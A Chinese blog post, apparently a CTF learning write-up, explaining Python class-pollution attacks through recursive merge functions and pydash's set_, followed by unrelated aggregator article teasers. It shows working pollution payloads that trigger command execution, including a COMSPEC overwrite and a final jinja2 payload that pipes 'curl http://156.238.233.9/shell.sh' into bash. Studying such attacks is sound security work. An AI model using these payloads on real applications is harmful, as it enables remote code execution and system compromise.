python 原型链污染学习

news2025/4/3 6:20:30
  • 复现SU的时候遇到一道python原型链污染的题,借此机会学一下
  • 参考:
    • 【原型链污染】Python与Js
    • https://blog.abdulrah33m.com/prototype-pollution-in-python/
    • pydash原型链污染

文章目录

  • 基础知识
  • 对父类的污染
  • 命令执行
  • 对子类的污染
  • pydash原型链污染
  • 打污染的一些手法

基础知识

python的原型链污染实际是一些对类的操作,我们的输入一般是str或者int,所以不能使用

a.__class__=‘pollute’

但是a还有一个属性__qualname__,可以访问和修改类名

a.__class_.__qualname_=‘pollute’
假如原本a是poerson类,在此修改之后就会变成pollute类

接下来看merge函数,这个函数实现了对两个字典的递归合并,如果原来已有的键值对会被覆盖,新的键值对会被加进去,举个例子

合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}
覆盖原有值
class Settings:
    def __init__(self):
        self.theme = "dark"

config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"
深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}

到这里你应该理解merge函数的作用了,来看看它的源码

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

所以,我们可以利用这个函数进行污染

对父类的污染

payload = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>

当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。

命令执行

在一些存在命令执行的类里,我们就可以尝试覆盖cmd

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()

对子类的污染

在学习污染子类之前,先看一点前置知识在这里插入图片描述
其实很像SSTI,这个全局变量可以从任何已知函数的方法访问,比如我们常用的._init_.__globals__来找可以用来执行命令的模块,就是基于这个原理,__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量

{
  "__init__": {
    "__globals__": {
      "subprocess": {
        "os": {
          "environ": {
            "COMSPEC": "cmd /c calc"  # 篡改环境变量 COMSPEC
          }
        }
      }
    }
  }
}

COMSPEC 环境变量的意义
在 Windows 中,COMSPEC 指定了系统命令解释器的路径(默认为 cmd.exe)。
篡改为 cmd /c calc 后,subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os,如果有os模块直接调用即可

看看完整攻击命令

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True) 

pydash原型链污染

set_(notes, key, value)

pydash库的set_函数,可以说是在实际环境中的merge函数,用于将键值对添加到类中

from pydash import set_
class user:
    def __init__(self):
        pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789

不过这里当个例子看就行,因为pydash库现在不允许直接对global,builtins这样的变量进行修改在这里插入图片描述
调试set_函数,跟进到update_with函数,可以看到跟merge函数起到类似的作用

def update_with(obj, path, updater, customizer=None):  # noqa: PLR0912
    """
    This method is like :func:`update` except that it accepts customizer which is invoked to produce
    the objects of path. If customizer returns ``None``, path creation is handled by the method
    instead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.

    Args:
        obj: Object to modify.
        path: A string or list of keys that describe the object path to modify.
        updater: Function that returns updated value.
        customizer: The function to customize assigned values.

    Returns:
        Updated `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> update_with({}, "[0][1]", lambda: "a", lambda: {})
        {0: {1: 'a'}}

    .. versionadded:: 4.0.0
    """
    if not callable(updater):
        updater = pyd.constant(updater)

    if customizer is not None and not callable(customizer):
        call_customizer = partial(callit, clone, customizer, argcount=1)
    elif customizer:
        call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))
    else:
        call_customizer = None

    default_type = dict if isinstance(obj, dict) else list
    tokens = to_path_tokens(path)

    last_key = pyd.last(tokens)

    if isinstance(last_key, PathToken):
        last_key = last_key.key

    target = obj

    for idx, token in enumerate(pyd.initial(tokens)):
        key = token.key
        default_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)

        obj_val = base_get(target, key, default=None)
        path_obj = None

        if call_customizer:
            path_obj = call_customizer(obj_val, key, target)

        if path_obj is None:
            path_obj = default_factory()

        base_set(target, key, path_obj, allow_override=False)

        try:
            target = base_get(target, key, default=None)
        except TypeError as exc:  # pragma: no cover
            try:
                target = target[int(key)]
                _failed = False
            except Exception:
                _failed = True

            if _failed:
                raise TypeError(f"Unable to update object at index {key!r}. {exc}") from exc

    value = base_get(target, last_key, default=None)
    base_set(target, last_key, callit(updater, value))

    return obj

虽然set_函数的注释里就可以看出它的作用,但是底层真正起到作用的还是update_with函数

def set_(obj: T, path: PathT, value: t.Any) -> T:
    """
    Sets the value of an object described by `path`. If any part of the object path doesn't exist,
    it will be created.

    Args:
        obj: Object to modify.
        path: Target path to set value to.
        value: Value to set.

    Returns:
        Modified `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> set_({}, "a.b.c", 1)
        {'a': {'b': {'c': 1}}}
        >>> set_({}, "a.0.c", 1)
        {'a': {'0': {'c': 1}}}
        >>> set_([1, 2], "[2][0]", 1)
        [1, 2, [1]]
        >>> set_({}, "a.b[0].c", 1)
        {'a': {'b': [{'c': 1}]}}

    .. versionadded:: 2.2.0

    .. versionchanged:: 3.3.0
        Added :func:`set_` as main definition and :func:`deep_set` as alias.

    .. versionchanged:: 4.0.0

        - Modify `obj` in place.
        - Support creating default path values as ``list`` or ``dict`` based on whether key or index
          substrings are used.
        - Remove alias ``deep_set``.
    """
    return set_with(obj, path, value)

打污染的一些手法

  • sys模块加载获取
    引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
    如果可以把目标模块污染成我们想要的命令,那命令是不是就可以自运行了
    在这里插入图片描述

  • 通过 loader._init_._globals_[‘sys’]来获取sys模块
    (loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib模块下所有的py文件中均引入了sys模块)
    在这里插入图片描述

  • 在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块

了解到这些之后我们再来看SU的payload

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

runtime有什么用呢在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2325252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

入栈操作-出栈操作

入栈操作 其 入栈操作 汇编代码流程解析如下&#xff1a; 出栈操作 其 出栈操作 汇编代码流程解析如下&#xff1a;

C++ 多态:面向对象编程的核心概念(一)

文章目录 引言1. 多态的概念2. 多态的定义和实现2.1 实现多态的条件2.2 虚函数2.3 虚函数的重写/覆盖2.4 虚函数重写的一些其他问题2.5 override 和 final 关键字2.6 重载/重写/隐藏的对比 3. 纯虚函数和抽象类 引言 多态是面向对象编程的三大特性之一&#xff08;封装、继承、…

Python数据可视化-第3章-图表辅助元素的定制

教材 本书为《Python数据可视化》一书的配套内容&#xff0c;本章为第3章-图表辅助元素的定制 本章主要介绍了图表辅助元素的定制&#xff0c;包括认识常用的辅助元素、设置坐标轴的标签、设置刻度范围和刻度标签、添加标题和图例、显示网格、添加参考线和参考区域、添加注释文…

springboot实现异步导入Excel的注意点

springboot实现异步导入Excel 需求前言异步导入面临的问题实现异步如何导入大Excel文件避免OOM&#xff1f;异步操作后&#xff0c;如何通知导入结果&#xff1f;如何加快导入效率&#xff1f;将导入结果通知给用户后&#xff0c;如何避免重复通知&#xff1f; 优化点完结撒花&…

Linux练习——有关硬盘、联网、软件包的管理

1、将你的虚拟机的网卡模式设置为nat模式&#xff0c;给虚拟机网卡配置三个主机位分别为100、200、168的ip地址 #使用nmtui打开文本图形界面配置网络 [rootrhcsa0306 ~]# nmtui #使用命令激活名为 ens160 的 NetworkManager 网络连接 [rootrhcsa0306 ~]# nmcli c up ens160 #通…

论文阅读:GS-Blur: A 3D Scene-Based Dataset for Realistic Image Deblurring

今天介绍一篇 2024 NeurIPS 的文章&#xff0c;是关于真实世界去模糊任务的数据集构建的工作&#xff0c;论文作者来自韩国首尔大学 Abstract 要训练去模糊网络&#xff0c;拥有一个包含成对模糊图像和清晰图像的合适数据集至关重要。现有的数据集收集模糊图像的方式主要有两…

Cocos Creator Shader入门实战(七):RGB不同算法效果的实现,及渲染技术、宏定义、属性参数的延伸配置

引擎&#xff1a;3.8.5 您好&#xff0c;我是鹤九日&#xff01; 回顾 上篇文章&#xff0c;讲解了Cocos Shader如何通过setProperty动态设置材质的属性&#xff0c;以及设置属性时候的一些注意事项&#xff0c;比如&#xff1a; 一、CCEffect部分properties参数的设定后&…

算法学习记录:递归

递归算法的关键在于回复现场&#xff0c;dfs&#xff08;&#xff09;函数返回值、结束条件、它的作用。 目录 1.综合练习 2. 二叉树的深搜 1.综合练习 39. 组合总和 - 力扣&#xff08;LeetCode&#xff09; 关键在画出的决策树当中&#xff0c;前面使用过的2、3&#xff0c;…

可发1区的超级创新思路(python\matlab实现):MPTS+Lconv+注意力集成机制的Transformer时间序列模型

首先声明,该模型为原创!原创!原创!且该思路还未有成果发表,感兴趣的小伙伴可以借鉴! 应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、电机故障检测等等。 一、模型整体架构(本文以光伏功率预测为例) 本模型由多尺度特征提取模块(MPTS)…

三、分类模块,通用组件顶部导航栏Navbar

1.封装通用组件顶部导航栏Navbar 不同效果 Component export struct MkNavbar {Prop title: string Prop leftIcon: ResourceStr $r("app.media.ic_public_left")ProprightIcon: ResourceStr $r("app.media.ic_public_more")PropshowLeftIcon: boolean…

PHY——LAN8720A 寄存器读写 (二)

文章目录 PHY——LAN8720A 寄存器读写 (二)工程配置引脚初始化代码以太网初始化代码PHY 接口实现LAN8720 接口实现PHY 接口测试 PHY——LAN8720A 寄存器读写 (二) 工程配置 这里以野火电子的 F429 开发板为例&#xff0c;配置以太网外设 这里有一点需要注意原理图 RMII_TXD0…

Flutter_学习记录_AppBar中取消leading的占位展示

将leading设置为null将automaticallyImplyLeading设置为false 看看automaticallyImplyLeading的说明&#xff1a; Controls whether we should try to imply the leading widget if null. If true and [AppBar.leading] is null, automatically try to deduce what the leading…

未来派几何风格包装徽标品牌海报标牌logo设计无衬线英文字体安装包 Myfonts – Trakya Sans Font Family

Trakya Sans 是一种具有几何风格的现代无衬线字体。Futura、Avant Garde 等。它具有现代条纹&#xff0c;这是宽度和高度协调的结果&#xff0c;尤其是在小写字母中&#xff0c;以支持易读性。 非常适合广告和包装、编辑和出版、徽标、品牌和创意产业、海报和广告牌、小文本、寻…

C语言深度解析:从零到系统级开发的完整指南

一、C语言的核心特性与优势 1. 高效性与直接硬件控制 C语言通过编译为机器码的特性&#xff0c;成为系统级开发的首选语言。例如&#xff0c;Linux内核通过C语言直接操作内存和硬件寄存器&#xff0c;实现高效进程调度。 关键点&#xff1a; malloc/free直接管理内存&#…

ctfshow WEB web8

首先确定注入点&#xff0c;输入以下payload使SQL恒成立 ?id-1/**/or/**/true 再输入一下payload 使SQL恒不成立 ?id-1/**/or/**/false 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示 由以上返回结果可知&#xff0c;该页面存在SQL注入&#xff0c;注入点…

【Linux】U-Boot 加载并启动 Linux 系统程序

U-Boot 加载并启动 Linux 系统程序 零、介绍 最近在玩一些嵌入式的开发板&#xff0c;在引导操作系统时需要用到U-Boot&#xff0c;故此研究一下。 U-Boot&#xff08;Universal Bootloader&#xff09;是一款开源的通用引导加载程序&#xff0c;专为嵌入式系统设计&#xff…

jarvisoj API调用 [JSON格式变XXE]

http://web.jarvisoj.com:9882/ 题目要求&#xff1a;请设法获得目标机器 /home/ctf/flag.txt 中的flag值 抓包得到&#xff1a; POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 Content-Length: 36 Accept-Language: zh-CN,zh;q0.9 User-Agent: Mozilla/5.0 (W…

机器学习的一百个概念(4)下采样

前言 本文隶属于专栏《机器学习的一百个概念》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见[《机器学习的一百个概念》 ima 知识库 知识库广场搜索&…

NNI 适配 TensorRT10教程

引言 本文涉及两个框架及其版本分别为 NNI (Neural Network Intelligence) &#xff1a;3.0TensorRT&#xff1a;10.9.0.34 NNI 在文档 Speed Up Quantized Model with TensorRT里描述了如何使用 TensorRT 为NNI量化的模型实现加速&#xff0c;但是从NNI 的源代码https://gi…

多路径 TCP 调度的另一面

参考前面的文章 一个原教旨的多路径 TCP 和 MP-BBR 公平性推演&#xff0c;一直都破而不立&#xff0c;不能光说怎样不好&#xff0c;还得说说现状情况下&#xff0c;该如何是好。 如果 receiver 乱序重排的能力有限(拜 TCP 所赐)&#xff0c;如果非要在多路径上传输 TCP&…